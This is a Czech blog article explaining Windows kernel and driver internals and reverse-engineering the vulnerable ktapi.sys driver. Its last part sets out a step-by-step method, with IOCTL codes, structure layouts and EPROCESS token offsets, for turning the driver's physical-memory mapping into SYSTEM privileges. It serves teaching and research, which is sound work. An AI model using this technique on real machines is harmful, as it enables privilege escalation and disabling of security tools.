Od Čtení/Zápisu Fyzické Paměti k SYSTEM
Obsah · 64
Úvod
Při psaní článku Living off the Land jsem se u sekce BYOVD (Bring Your Own Vulnerable Driver) zasekl na jednom problému. Driver, na kterém jsem chtěl tuhle techniku ukázat, byl totiž Windowsem blokovaný kvůli tomu, že se už nějakou dobu zneužívá. V té době jsem ještě netušil, že existuje konkrétní Intel driver (iqvw64e.sys), který blokovaný není.
Takže jsem si musel poradit jinak. Vzal jsem jeden z driverů z LOLDrivers, který Windows bez problémů načetl, a pustil se do reverzování.
Protože jsem předtím nikdy nedělal kernel exploitaci, vůbec jsem neměl představu, jak dlouho mi to zabere. Z původního "max 10 hodin" se tak stal projekt na mnohem delší dobu. Během reverzování mi navíc došlo, že full driver exploit nestihnu do plánovaného vydání článku, takže jsem začal hledat jinou cestu. Nakonec jsem narazil na zmíněný Intel driver a použil už hotový PoC.
Po vydání článku jsem tenhle projekt odložil, hlavně proto, že jsem se blížil ke konci CRTO kurzu a chtěl jsem se soustředit na přípravu. Jakmile jsem ho ale dokončil, přišla mi škoda to celé zahodit (hlavně kvůli mojí slabosti pro low-level věci).
Tak jsem se do toho znovu ponořil. A rovnou říkám, cesta ke kernel exploitaci bez předchozích zkušeností byla dlouhá a občas dost nepříjemná, takže jsem sem chtěl napsat článek, který by mi v mé situaci o dost pomohl. A tady je výsledek.
Jak funguje Windows kernel
Než se dostaneme k tomu jak ovladač funguje a jak ho na příkladě můžeme exploitovat, je podle mě důležité probrat, jak vlastně Windows kernel funguje. Obecně, kernel kód mluví přímo s hardwarem, je to nejnižší a zároveň nejprivilegovanější vrstva celého operačního systému. Sedí mezi fyzickým hardwarem a aplikacemi, které na Windowsu spouštíme, a stará se o věci, ke kterým běžný program nesmí mít přístup: správu paměti, plánování vláken a procesů, síť a komunikaci s ovladači zařízení.
Důležité je pochopit, že kernel ovladače (drivery) nejsou "aplikace s vyššími právy". Běží v úplně jiném režimu procesoru než běžné programy a mají prakticky neomezenou moc nad celým systémem. Ovladač, který běží v jádře, je z pohledu procesoru rovnocenný samotnému jádru OS. Aby to vše dávalo smysl, musíme začít u toho, jak procesor tuto moc vůbec odděluje.
Privilegované úrovně - ringy
Procesory architektury x86/x64 mají zabudovaný hardwarový mechanismus oddělení práv, kterému se říká protection rings (ochranné úrovně). Architektura definuje 4 úrovně, Ring 0 až Ring 3, kde nižší číslo znamená větší oprávnění.
| Ring | Co tam běží | Oprávnění |
|---|---|---|
| Ring 0 | Jádro a ovladače (kernel mode) | Plný přístup k privilegovaným instrukcím i hardwaru |
| Ring 1 | (historicky nevyužito) | - |
| Ring 2 | (historicky nevyužito) | - |
| Ring 3 | Běžné aplikace (user mode) | Silně omezená, žádný přímý přístup k hardwaru |
Windows v praxi používá jenom 2 z těchto úrovní - Ring 0 (kernel mode) a Ring 3 (user mode). Ringy 1 a 2 zůstávají prázdné (byly navrženy v době, kdy se počítalo, že operační systémy budou mít víc vrstev, ale moderní systémy tyto vrstvy nevyužívají).
Abych byl přesnější nad rámec těchto 4 úrovní dnes ještě existují "zápornější vrstvy", ale těm se dnes věnovat nebudeme:
- Ring -1 - hypervisor (Intel VMX root, AMD SVM root). Běží pod jádrem a může kontrolovat i samotný Ring 0. Windows toho využívá u Hyper-V a technologie VBS/HVCI.
- Ring -2 - SMM (System Management Mode), speciální režim firmwaru/BIOSu, do kterého nevidí ani operační systém.
Proč na ringu záleží
V Ring 3 procesor programu zakazuje spoustu věcí: nesmí přímo sahat na hardware, nesmí měnit tabulky stránek, nesmí vypnout přerušení atd. Pokud aplikace potřebuje něco, co umí jen jádro (otevřít soubor, alokovat paměť, poslat data na síť), musí o to požádat jádro přes tzv. syscall (instrukce syscall/sysenter). Ta bezpečně přepne procesor z Ring 3 na Ring 0, jádro požadavek zkontroluje, vykoná a vrátí zpět řízení.
Mezi Ring 3 a Ring 0 je tedy pevná zeď hlídaná procesorem. Ale mezi jádrem a ovladačem žádná taková zeď není - oba jsou v Ring 0. To je celý základ toho, proč je bezpečnost ovladačů tak důležitá, není to "aplikace s vysokými oprávněními", ale součást nejdůvěryhodnější části systému.
Virtuální vs fyzická paměť
Druhý pilíř, který musíme pochopit, je paměť. Existují na ni 2 různé pohledy:
- Fyzická paměť - skutečné adresy v RAM (a také adresy namapovaných zařízení viz MMIO). Je to "reálný hardware": bajt na fyzické adrese odpovídá buňce v paměťovém modulu.
- Virtuální paměť - abstrakce, kterou vidí každý proces. Každý proces má vlastní virtuální adresní prostor a myslí si, že má paměť sám pro sebe od nuly nahoru.
Virtuální paměť existuje hned z několika důvodů:
- Izolace - proces A nevidí do paměti procesu B. Stejná virtuální adresa
0x400000v kontextu jiných procesů ukazuje na úplně jiné fyzické místo. - Ochrana - každé stránce paměti lze nastavit práva (číst / zapisovat / spouštět) a procesor je vynucuje.
- Abstrakce - proces vidí souvislý blok paměti, i když je ve fyzické RAM roztroušený nebo dokonce dočasně uložený na disk (paging/swap).
Rozložení adresního prostoru ve Windows (x64)
Na 64bitových Windows se používají tzv. kanonické 48bitové adresy. Prostor se dělí na 2 poloviny:
Důležitý detail: kernel space je namapovaný do každého procesu, ale je označený tak, aby k němu měl přístup jen Ring 0. Když tedy aplikace v Ring 3 zkusí sáhnout na kernelovou adresu, procesor to zablokuje. Jádro naopak vidí všechno.
Jak funguje překlad virtuální adresy na fyzickou
Tady je jádro celého mechanismu. Procesor nikdy nepracuje s virtuální adresou přímo - pokaždé když program čte nebo zapisuje, musí se virtuální adresa nejdřív přeložit na fyzickou. Tento překlad dělá hardwarová jednotka MMU (Memory Management Unit) pomocí datové struktury zvané tabulky stránek (page tables).
Paměť je rozdělená na stránky (obvykle po 4 KB). Překlad probíhá přes několik úrovní tabulek. Na x64 se standardně používá 4úrovňové stránkování. 48bitová virtuální adresa se rozloží takto:
Některé moderní x64 procesory už podporují i 5úrovňové stránkování (LA57), takže mají 57 bitové adresy, ale to je pro nás detail. V tomto článku budeme pracovat se 4úrovňovým stránkováním, které je na běžných Windows stále standardem.
Postup krok za krokem
-
Procesor si z registru CR3 vezme fyzickou adresu nejvyšší tabulky (PML4) daného procesu. Právě proto má každá proces vlastní adresní prostor - při přepnutí se změní celé CR3, a tím pádem i celá "mapa" paměti. (Ve Windows se této hodnotě říká DirBase nebo DTB).
-
Horních 9 bitů adresy poslouží jako index do PML4. Tam procesor najde odkaz na další tabulku (PDPT).
-
Dalších 9 bitů indexuje PDPT -> odkaz na PD (Page Directory)
-
Dalších 9 bitů indexuje PD -> odkaz na PT (Page Table)
-
Dalších 9 bitů indexuje PT -> tady konečně najde fyzický rámec (číslo fyzické stránky).
-
Spodních 12 bitů (offset) určí přesnou pozici uvnitř té 4KB stránky.
Protože každý takový průchod čtyřmi tabulkami při každém přístupu by byl pomalý, procesor si výsledky překladu ukládá do rychlé cache zvané TLB (Translation Lookaside Buffer). Existují také větší stránky (2mb a 1GB), které průchod zkracují.
Co je v jednom záznamu tabulky (PTE)
Každý záznam v tabulce stránek (Page Table Entry) neobsahuje jen adresu fyzického rámce, ale i bity oprávnění, které MMU vynucuje.
| Bit | Název | Význam |
|---|---|---|
| P | Present | Stránka je právě namapovaná ve fyzické RAM |
| R/W | Read/Write | 0 = jen čtení, 1 = čtení i zápis |
| U/S | User/Supervisor | 0 = přístupné jen z Ring 0, 1 = i z Ring 3 |
| NX | No-eXecute | Zakázat spouštět kód z této stránky |
| A | Accessed | Ke stránce se přistupovalo |
| D | Dirty | Do stránky se zapisovalo |
Klíčovou myšlenku kterou se tady snažím ukázat je, že veškerá ochrana paměti (kdo smí číst, zapisovat i spouštět) je zapsaná v těchto tabulkách. A tabulky stránek samotných leží ve fyzické paměti. Celý bezpečnostní model stojí na předpokladu, že tyto tabulky (a fyzickou paměť obecně) spravuje výhradně důvěryhodné jádro a MMU. Kdo dokáže získat libovolný přístup k fyzické paměti, stojí pod touto abstrakcí.
Moderní ochrany kernelu
Protože je Ring 0 tak mocný, přidaly výrobci procesorů i Microsoft řadu ochran, které mají ztížit život útočníkovi, i když se do jádra nějak dostane:
-
DEP / NX (Data Execution Prevention) - Díky bitu NX nelze spustit kód z datových stránek. Zabijí klasické útoky typu "nahraju shellcode do bufferu a skočím na něj".
-
KASLR (Kernel Address Space Layout Randomization) - adresy jádra a ovladačů se při startu náhodně posunou, takže útočník neví předem, kde co v paměti leží.
-
SMEP (Supervisor Mode Execution Prevention) - brání tomu, aby jádro (Ring 0) spustilo kód ležící v user-mode stránce. Historicky oblíbený trik byl přesměrovat běh jádra na shellcode připravený v uživatelské paměti; SMEP to neumožňuje.
-
SMAP (Supervisor Mode Access Prevention) - brání jádru i jen číst/zapisovat uživatelské stránky, pokud si to výslovně nepovolí. Ztěžuje předání podvržených dat z user mode do jádra.
-
DSE (Driver Signature Enforcement) - 64bitové Windows odmítne načíst ovladač do jádra, pokud není digitálně podepsaný. Cílem je, aby se do Ring 0 nedostal libovolný kus kódu.
-
PatchGuard (KPP - Kernel Patch Protection) - na x64 Windows periodicky kontroluje integritu kritických struktur jádra (např. SSDT, IDT, GDT, klíčové části kódu). Když zjistí neoprávněnou úpravu, systém schválně spadne do BSOD. Má zabránit "patchování" a hookování jádra.
-
HVCI (Hypervisor-Enforced Code Integrity) - pomocí virtualizace (VBS) přesune kontrolu integrity kódu do izolované, privilegovanější vrstvy (Ring -1), než ve které běží samotné jádro. Průběžně vynucuje, že se v kernelu spustí jen podepsaný kód a že paměťová stránka nemůže být zároveň zapisovatelná i spustitelná. Na rozdíl od PatchGuardu, který kontroluje periodicky a běží na stejné úrovni jako hrozba, je enforcement HVCI architektonicky nad jádrem, takže ho kompromitované jádro nevypne.
-
CFG / kCFG (Control Flow Guard) - ověřuje cíle nepřímých volání, aby útočník nemohl snadno přesměrovat běh programu na libovolné místo.
Kde to všechno spojuje fyzická paměť
Když si to shrneme: skoro celý model bezpečnosti operačních systémů stojí na abstrakci virtuální paměti. Oddělení procesů, práva na čtení/zápis/spouštění, ochrana kernelového prostoru před uživatelským - to vše jsou pravidla zapsaná v tabulkách stránek, které leží ve fyzické paměti a o kterých se předpokládá že s nimi manipuluje jen důvěryhodné jádro.
Ovladač, který dokáže libovolně číst a zapisovat do fyzické paměti, se pohybuje pod touto abstrakcí - nehraje podle pravidel virtuální paměti, protože rovnou sahá na hardware, kde ta pravidla teprve vznikají. To je přesně důvod, proč podepsané ale zároveň zranitelné ovladače jsou tak nebezpečné. Tvoří bránu mezi Ring 0 a Ring 3, ale pokud existuje zranitelnost na straně ovladače. Útočník toho může zneužít a získat primitiva, které má v normálních podmínkách kernel bezpečně u sebe. Z toho pak vzniká technika známá jako BYOVD (Bring Your Own Vulnerable Driver), o které se můžete dočíst více z mého předchozího článku na toto téma.
Jak funguje Windows driver
V předchozí sekci jsme si řekli, že ovladač běží v Ring 0 a je z pohledu procesoru rovnocenný samotnému jádru. Teď se podíváme na to, jak ovladač vlastně funguje zevnitř - jak se načte, jak si vytvoří "vstupní bránu" pro komunikaci a hlavně jak s ním mluví kód z user mode. Právě tenhle komunikační kanál je totiž místo, kde většina útoků na ovladače probíhá.
Co je ovladač
Ovladač (driver) je v podstatě kus kódu, který běží v kernelu a rozšiřuje jádro o nějakou funkcionalitu. Nejčastěji jde o obsluhu hardwaru (grafická nebo síťová karta, disk...), ale ne vždycky. Existuje spousta čistě softwarových ovladačů, které žádný fyzický hardware neobsluhují (antiviry, virtualizační nástroje, monitorovací utility...). Ovladače můžeme poznat pomocí přípony .sys.
Protože ovladač běží v Ring 0, platí pro něj všechno co jsme si řekli o kernelu:
-
Sdílený adresní prostor - všechny ovladače a jádro sdílejí 1 kernelový adresní prostor. Chyba v jednom ovladači může tak přepsat paměť jádra nebo jiného ovladače.
-
Žádná záchranná síť - když spadne aplikace v Ring 3, systém běží dál. Když to samé udělá ovladač v Ring 0, vezme sebou celý systém do BSOD.
-
Plný přístup - ovladač má plný přístup k fyzické paměti, k privilegovaným CPU instrukcím a ke strukturám jádra, na které se z user mode nedá sáhnout.
Typy ovladačů a frameworky
Ne všechny ovladače jsou si rovné. Windows historicky podporuje několik modelů, jak ovladač napsat:
| Model | Název | Popis |
|---|---|---|
| WDM | Windows Driver Model | Starší, nízkoúrovňový model. Ovladač pracuje přímo s IRP a kernelovými strukturami. Velká flexibilita, ale i velká zodpovědnost, víc prostoru pro chyby. |
| WDF/KMDF | Kernel-Mode Driver Framework | Novější framework nad WDM. Spoustu věcí (správa napájení, PnP, synchronizace) řeší framework za vývojáře. Méně boilerplate, méně chyb. |
| UMDF | User-Mode Driver Framework | Ovladač běží v user mode (Ring 3). Bezpečnější, ale s omezeními - nemá přímý přístup k hardwaru ani ke kernelové paměti. |
WDM dává vývojáři největší kontrolu, a tím i největší zodpovědnost. Chyby v něm bývají častější, protože framework neřeší tolik věcí za něj.
U kernel-mode frameworků WDM a KMDF platí, že ovladač funguje v Ring 0. Liší se jen mírou abstrakce, kterou framework poskytuje. UMDF je ale jiný případ, běží v user mode a má odlišný životní cyklus.
Jak se ovladač načte do systému
Ovladač se ve Windows registruje jako služba (service) typu kernel driver. Celý proces načtení potom vypadá takto:
-
Registrace - ovladač (
.syssoubor) se zaregistruje jako služba, typicky přes Win32 APICreateServicenebo přímým zápisem do registru podHKLM\SYSTEM\CurrentControlSet\Services\<název>. Tady se nastaví cesta k.syssouboru, typ služby (SERVICE_KERNEL_DRIVER) a způsob spuštění. -
Kontrola podpisu - než se ovladač načte, zkontroluje se jeho podpis (DSE). Pokud ovladač není platně podepsaný, systém ho odmítne.
-
Spuštění služby - voláním
StartService(nebo automaticky při startu systému) se ovladač načte do kernelového adresního prostoru. -
DriverEntry- po načtení systém zavolá vstupní bod ovladače, funkciDriverEntry. Je to obdobamain()v běžném programu. Tady si ovladač připraví svoje struktury, zaregistruje obslužné funkce a vytvoří device object (viz níže).
NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject, // ukazatel na objekt ovladače
PUNICODE_STRING RegistryPath // cesta v registru
);
Načtení ovladače vyžaduje administrátorská práva, konkrétně oprávnění SeLoadDriverPrivilege. To je právě předpoklad pro BYOVD: útočník musí být zpravidla administrátor aby mohl ovladač vůbec načíst.
Device object a symbolický link
Aby s ovladačem mohl někdo komunikovat, potřebuje "vstupní bránu". Tu si ovladač vytváří v DriverEntry:
-
Device Object - ovladač zavolá
IoCreateDevicea tím vytvoří objekt zařízení. Ten existuje v kernelu a reprezentuje "instanci" ovladače, se kterou se dá komunikovat. -
Symbolický link - device není sám o sobě vidět z user mode). Proto mu ovladač přiřadí symbolický link voláním
IoCreateSymbolicLink, typicky ve tvaru\\.\MujDriver(můžete narazit i na tvar\\DosDevices\MujDriver). Právě přes tenhle symlink se na ovladač dá "sáhnout" z Ring 3.
// Vytvoření device objectu
IoCreateDevice(
DriverObject, // objekt ovladače
0, // velikost device extension
&deviceName, // interní jméno (\Device\MujDriver)
FILE_DEVICE_UNKNOWN, // typ zařízení
0, // charakteristiky
FALSE, // exkluzivní přístup
&deviceObject // výstup: ukazatel na device object
);
// Vytvoření symlinku viditelného z user mode
IoCreateSymbolicLink(
&symlinkName, // \\.\MujDriver (\\DosDevices\MujDriver)
&deviceName // \Device\MujDriver
);
Aplikace z user mode pak na ovladač přistoupí úplně stejně, jako by otevírala soubor:
HANDLE hDevice = CreateFile(
"\\\\.\\MujDriver", // symbolický link
GENERIC_READ | GENERIC_WRITE,
0, NULL,
OPEN_EXISTING,
0, NULL
);
Tím získá handle, přes který s ovladačem dál komunikuje.
Tady je důležitý bezpečnostní detail: ovladač může (a měl by) na device object nastavit ACL (Access Control List), který říká, kdo smí zařízení otevřít. Spousta zranitelných ovladačů ale ACL buď nenastaví vůbec, nebo ho nastaví příliš volně - pak může s ovladačem komunikovat neprivilegovaný proces.
Komunikace mezi user mode a kernelem: IRP a Major Functions
Když aplikace z user mode něco po ovladači chce (otevřít ho, číst z něj, poslat mu příkaz), Windows to interně zabalí do struktury zvané IRP (I/O Request Packet) a předá ji ovladači.
Ovladač si v DriverEntry zaregistruje obslužné funkce pro jednotlivé typy požadavků. Ty se nazývají major functions a ukládají se do pole MajorFunctions ve struktuře DRIVER_OBJECT:
| Major Function | Odpovídá volání z user mode | Co dělá |
|---|---|---|
IRP_MJ_CREATE | CreateFile | Otevření handle na zařízení |
IRP_MJ_CLOSE | CloseHandle | Zavření handle |
IRP_MJ_READ | ReadFile | Čtení dat ze zařízení |
IRP_MJ_WRITE | WriteFile | Zápis dat do zařízení |
IRP_MJ_DEVICE_CONTROL | DeviceIoControl | Custom příkaz (IOCTL) |
Registrace v kódu vypadá takto:
DriverObject->MajorFunction[IRP_MJ_CREATE] = MyCreateHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = MyCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyIoctlHandler;
Celý flow tedy vypadá tak, že aplikace zavolá třeba CreateFile -> Windows z toho vytvoří IRP typu IRP_MJ_CREATE -> I/O Manager ho doručí ovladači -> ovladač ho zpracuje ve svém handleru a výsledek vrátí zpátky.
IOCTL - custom API ovladače
Tady je jádro celé věci, a zároveň místo, kde většina útoků na ovladače reálně probíhá.
Zatímco IRP_MJ_READ a IRP_MJ_WRITE slouží k přenosu dat, IRP_MJ_DEVICE_CONTROL obsluhuje tzv. IOCTL (I/O Control Code) - vlastní příkazy, které si ovladač sám definuje. Je to v podstatě custom API ovladače: "udělej tuhle konkrétní věc s těmihle daty".
Z user mode se IOCTL volá funkcí DeviceIoControl:
DeviceIoControl(
hDevice, // handle z CreateFile
IOCTL_CODE, // kód příkazu (co má ovladač udělat)
inputBuffer, // vstupní data pro ovladač
inputSize, // velikost vstupních dat
outputBuffer, // buffer pro odpověď
outputSize, // velikost výstupního bufferu
&bytesReturned, // kolik bajtů ovladač vrátil
NULL
);
Jak se IOCTL kód skládá
IOCTL kód není náhodné číslo (i přes to že to tak někdy může vypadat), má pevně danou strukturu definovanou makrem CTL_CODE:
#define IOCTL_READ_PHYS_MEM CTL_CODE(
FILE_DEVICE_UNKNOWN, // typ zařízení
0x800, // funkční kód (0x800+ = uživatelsky definované)
METHOD_BUFFERED, // přenosová metoda
FILE_ANY_ACCESS // požadovaná přístupová práva
)
| Pole | Význam |
|---|---|
| DeviceType | Typ zařízení (většinou FILE_DEVICE_UNKNOWN u SW ovladačů) |
| Function | Číslo příkazu. Hodnoty 0x000-0x7FF jsou rezervované pro Microsoft, 0x800+ jsou pro vlastní použití. |
| Method | Jak se přenášejí data mezi user a kernel mode (viz níže) |
| Access | Jaká práva musí mít handle (FILE_READ_ACCESS, FILE_WRITE_ACCESS, FILE_ANY_ACCESS) |
Přenosové metody (transfer methods)
Pole Method v IOCTL kódu určuje, jak Windows předá data mezi usermode bufferem a kernelem. Tohle je důležité, protože špatně zvolená nebo špatně ošetřená metoda je častý zdroj zranitelností:
| Metoda | Jak funguje | Bezpečnost |
|---|---|---|
METHOD_BUFFERED | Systém alokuje kernelový buffer, zkopíruje do něj vstupní data z user mode a po zpracování zkopíruje výstup zpátky. Ovladač pracuje jen s kernelovou kopií. | Nejbezpečnější, kernel a user buffery jsou oddělené. |
METHOD_IN_DIRECT / METHOD_OUT_DIRECT | Vstupní buffer se zkopíruje jako u buffered, ale výstupní (nebo vstupní u IN) buffer se namapuje přes MDL (Memory Descriptor List) přímo do kernelového prostoru. | Středně bezpečné, MDL zajistí, že stránky zůstanou zamčené v paměti. |
METHOD_NEITHER | Systém nic nekopíruje a nic nevaliduje. Ovladač dostane surové ukazatele z user mode (IRP->UserBuffer, Parameters.DeviceIoControl.Type3InputBuffer) a musí si sám ověřit, že ukazují do user-space a že jsou platné. | Nejnebezpečnější, pokud ovladač nevaliduje, útočník může podstrčit kernelovou adresu a ovladač na ni zapíše. |
Spousta zranitelných ovladačů používá
METHOD_NEITHERa neprovádí žádnou validaci ukazatelů. Útočník pak může jako "výstupní buffer" podstrčit adresu v kernelové paměti a ovladač tam poslušně zapíše data, čímž efektivně získá arbitrary write primitivum v Ring 0.
Kde to všechno spojuje bezpečnost
Když si to celé shrneme, ovladač vystavuje komunikační kanál z user mode (Ring 3) do kernel mode (Ring 0). Celý řetězec vypadá takto:
-
CreateService/StartService- ovladač se načte do kernelu. -
CreateFilena\\.\MujDriver- otevření handle na device object. -
DeviceIoControls IOCTL kódem a bufferem - odeslání příkazu.
A přesně tady vzniká problém. Spousta ovladačů (hlavně starších OEM/utilitních) nabízí přes IOCTL nebezpečné mocné operace - jako "zapiš tuhle fyzickou adresu", "přečti tenhle MSR (Model-Specific Register)" nebo "namapuj tuhle fyzickou adresu do user mode". A nedostatečně kontroluje, kdo a s jakými parametry je volá. Ovladač pak funguje něco jako proxy do Ring 0: útočník si z user mode pošle přes DeviceIoControl podvržený buffer a donutí ovladač, aby za něj provedl operaci, ke které by jinak z Ring 3 neměl přístup.
Jak jsme si řekli v předchozí sekci, veškerá ochrana paměti stojí na tabulkách stránek, které leží ve fyzické paměti. Ovladač, který umožní libovolné čtení a zápis do fyzické paměti, se pohybuje pod touto abstrakcí, a tím pádem může obejít prakticky celý bezpečnostní model systému.
Útoky v praxi
Je dobré si útoky na ovladače nějak roztřídit. Pojem "útok na ovladač" je totiž velmi široký a každý scénář má svoje předpoklady, svoji závažnost a brání se proti němu jinak. Když si je rozdělíme, líp se v nich zorientujeme, a můžeme k nim přiřadit adekvátní obranu.
V praxi si můžeme útoky rozdělit podle 2 os:
-
podle původu ovladače - jak se zranitelný ovladač vůbec na systém dostane
-
podle cíle - jakého cíle chce útočník dosáhnout zneužitím ovladače
Podle původu ovladače
BYOVD (Bring Your Own Vulnerable Driver)
Zranitelný ovladač si na systém útočník přinese sám. Ovladač je sice podepsaný (takže projde přes DSE), ale má v sobě zranitelnost. Výhodu to pro útočníka má tu, že nemusí spoléhat na to, co na systému už je, může si přinést vlastní ovladač, na který už má funkční exploit. Nese to ale i nevýhodu: útočník už zpravidla musí mít na počítači administrátorský přístup, aby ovladač vůbec načetl.
Ovladač už na systému
V tomhle případě útočník zneužije ovladač, který je na stroji už nainstalovaný (OEM utilita, ovladač grafiky, antivir…). Výhoda pro útočníka je, že nemusí nic instalovat a s sebou přinášet, takže to nevzbudí podezření z načtení nového ovladače. Nevýhodu to ale má: útočník je odkázaný na to, co už na systému je.
Podle cíle
-
Eskalace práv (LPE) - získat vyšší oprávnění, ideálně až Ring 0 / SYSTEM.
-
Vypnutí ochran - přes přístup do kernelu shodit nebo oslepit EDR/AV. Častý cíl BYOVD.
-
Persistence - udržet se v systému skrytě a přežít restart (rootkity).
Zranitelný ovladač ktapi.sys
Teď když máme teoretický základ můžeme se pustit do ovladače jako takového. ktapi.sys je legacy cross-signed ovladač společnosti Kornton, jeho celý název je "Korton Technology Application Programming Interface". Ovladač byl použit ransomwarovou skupinou The Gentleman v rámci BYOVD útoku, kterým získali možnost deaktivovat ochranu na stroji. Zajímavé je že jde o velmi málo známý ovladač, před veřejnou publikací Expelu (kterou doporučuju přečíst, protože ukazují, jak funguje exploit ransomwarové skupiny jako takové) byla o něm na googlu jediná zmínka a to dokonce bez odkazu na stáhnutí.
Reverzní inženýrství ovladače ktapi.sys
DriverEntry
Každý ovladač má DriverEntry, jak jsem již zmiňoval je to něco jak main u klasického C programu. U tohohle konkrétního ovladače vypadal DriverEntry následovně:
Tento kód by šel rozložit to následujících kroků:
Příprava jmen
builtin_wcsncpy(internalName,L"\\Device\\ktapi",0xe);
memcpy(externalName,L"\\DosDevices\\ktapi",0x24);
- internalName =
\Device\ktapi- jméno objektu zařízení v objektovém namespace jádra. - externalName =
\DosDevices\ktapi- symbolický link, přes který se dá zařízení otevřít z user-space jako\\.\ktapi.
Inicializace UNICODE_STRING a vytvoření zařízení
RtlInitUnicodeString(&deviceName,internalName);
Result = IoCreateDevice(DriverObject,0,&deviceName,
0x8000, // DeviceType = FILE_DEVICE_UNKNOWN
0, // DeviceCharacteristics
'\0', // Exclusive = False
&DeviceObject);
0x8000= FILE_DEVICE_UNKNOWN0= žádná rozšíření (DeviceExtensionssize 0)FALSE= není exkluzivní (může ho otevřít víc procesů)
Registrace dispatch rutin
Tady Ghidra nepřiřadila automaticky názvy dispatch rutin, můžeme si to tahle upravit:
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoctlHandler; // 0xE
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IoctlHandler; // 0x2
DriverObject->MajorFunction[IRP_MJ_CREATE] = IoctlHandler; // 0x0
DriverObject->DriverUnload = DriverUnloader;
Teď si můžeme všimnout že veškeré vlastnosti ovladače jsou přiřazeny IoctlHandler funkci.
Vytvoření symbolického linku
RtlInitUnicodeString(&symbolicLinkName, externalName);
Result = IoCreateSymbolicLink(&symbolicLinkName, &deviceName);
if (Result < 0) {
IoDeleteDevice(DeviceObject);
}
Tato část kódu propojí \DosDevices\ktapi s \Device\ktapi, díky této části kódu jsme schopni se dostat k ovladači z userspace. Pokud link nepůjde vytvořit, zařízení se smaže (udělá po sobě cleanup).
IoctlHandler
Takhle vypadá celý částečně dekompilovaná IoctlHandler:
Důvod proč jsem ho nedekompiloval celý je, že většina z toho je boilerplate kód a hlavní co si potřebujeme odsud odnést jsou IOCTL kódy a co dělají:
| IOCTL | Význam |
|---|---|
0x82007000 | mapPhysicalMemory - namapuje fyzickou paměť do user-space |
0x82007100 | unmap - ZwUnmapViewOfSection nad dříve namapovanou sekcí |
0x82007200 | runPortloScript - spustí mini-bytecode, který umí in/out na libovolný port |
A my se teď zaměříme na mapování fyzické paměti.
mapPhysicalMemory
Teď už se dostáváme do hlavní funkce která mapuje fyzickou paměť:
Funkce má následující signaturu:
NTSTATUS mapPhysicalMemory(PDEVICE_OBJECT DeviceObject,
userInputStruct *userData,
ULONG outputLen,
ULONG inputLen)
První věc, na kterou se zaměříme je kontrola vstupní a výstupní velikosti. Driver očekává minimálně 24 bajtů (0x18) na vstupu a 8 bajtů na výstupu. Pro vstup se používá struktura která vypadá takto:
| Offset | Velikost | Pole |
|---|---|---|
| 0x00 | 4 | InterfaceType |
| 0x04 | 4 | BusNumber |
| 0x08 | 8 | BusAddress |
| 0x10 | 4 | AddressSpace |
| 0x14 | 4 | Length |
Samotná funkce pak provádí tyto kroky:
-
Otevře sekci
\Device\PhysicalMemorypřesZwOpenSections access maskem0xF001F, což odpovídá plnému přístupu (read, write, execute, extend). -
Získá referenci na objekt sekce přes
ObReferenceObjectByHandle. -
Přeloží bus adresu na fyzickou adresu pomocí
HalTranslateBusAddress(dvakrát, pro začátek i konec rozsahu). -
Namapuje fyzickou paměť do našeho procesu přes
ZwMapViewOfSections protection flagyPAGE_READWRITE | PAGE_NOCACHE(0x204). -
Zapíše výslednou virtuální adresu na offset
0x00vstupní struktury, odkud si ji uživatel může přečíst.
Nejdůležitější částí je volání ZwMapViewOfSection:
status = ZwMapViewOfSection(hPhysicalMemorySection,
(HANDLE)-1, // aktuální proces
&local_80, // kam se uloží VA
0,
length, // velikost mapování
&local_70, // offset v sekci
&length,
1, // ViewShare
0,
0x204); // PAGE_READWRITE | PAGE_NOCACHE
Druhý argument (HANDLE) -1 znamená, že se paměť mapuje do našeho procesu. Flag PAGE_NOCACHE je v tomhle kontextu klíčový - obchází CPU cache, takže změny, které zapíšeme vidí kernel okamžitě, a naopak.
Abych byl přesný, funkce bere jako vstup bus adresu a překládá ji na fyzickou adresu, kterou pak mapuje. Na většině systémů (bez IOMMU) je bus adresa rovna té fyzické, takže je to v praxi jedno. Na serverech s IOMMU by se výsledek lišil a exploit vysvětlený níže by nefungoval.
Driver nekontroluje maximální velikost požadovaného mapování. Jediné omezení je minimum (24 bajtů vstup, 8 bajtů výstup). Teoreticky by jsme tedy mohli požádat o namapování celé fyzické paměti jedním IOCTL. V praxi ale narazíme na limit HalTranslateBusAddress, které na testovaném systému (VirtualBox) odmítá překládat rozsahy větší než 2 MB.
Vytváření PoC exploitu pro ktapi.sys
Díky primitivu čtení a zápisu fyzické RAM, který nám driver ochotně vydá, můžeme eskalovat na SYSTEM oprávnění. Exploit který jsem vytvořil má následující postup:
-
Otevře driver
\\.\ktapipřesCreateFileA-> dostaneme handle. -
Namapuje fyzickou paměť přes IOCTL
0x82007000-> driver vrátí virtuální adresu v našem procesu, která je namapovaná na požadovanou fyzickou paměť. -
Najde
ntosBase(kde leží jádro) přesEnumDeviceDrivers. -
Najde
CR3v Low Stub (prvních 16 MB fyzické paměti) -> startovní bod pro překlad adres. -
Přeloží virtuální adresy na fyzické pomocí page-table walku (PML4 -> PDPT -> PD -> PT).
-
Najde
PsInitialSystemProcessv exportechntoskrnl-> obsahuje adresu SYSTEM procesu. -
Projde procesní seznam od SYSTEM přes
ActiveProcessLinks-> najde svůj vlastní EPROCESS. -
Přečte token SYSTEM z jeho EPROCESS (offset
0x4B8). -
Přepíše svůj token tokenem SYSTEM -> náš exploit má teď práva SYSTEM.
-
Spustí powershell a máme SYSTEM oprávnění.
Nalezení potřebných offsetů
Abychom mohli v paměti najít konkrétní kernel symboly, potřebujeme znát jejich offsety od ntosBase. Abychom mohli číst pole v kernel strukturách, potřebujeme znát offsety polí v těchto strukturách. Oba typy offsetů zjistíme ve WinDbg.
WinDbg příkazy
Pro symboli od ntosBase:
? nt!HalpLMStub - nt
Pro pole v _EPROCESS:
dt nt!_EPROCESS UniqueProcessId ActiveProcessLinks Token ImageFileName
Výsledky
HalpLMStub offset:
Evaluate expression: 4174816 = 00000000`003f93e0
_EPROCESS offsety:
+0x440 UniqueProcessId : Ptr64 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY
+0x4b8 Token : _EX_FAST_REF
+0x5a8 ImageFileName : [15] UChar
Použití v kódu
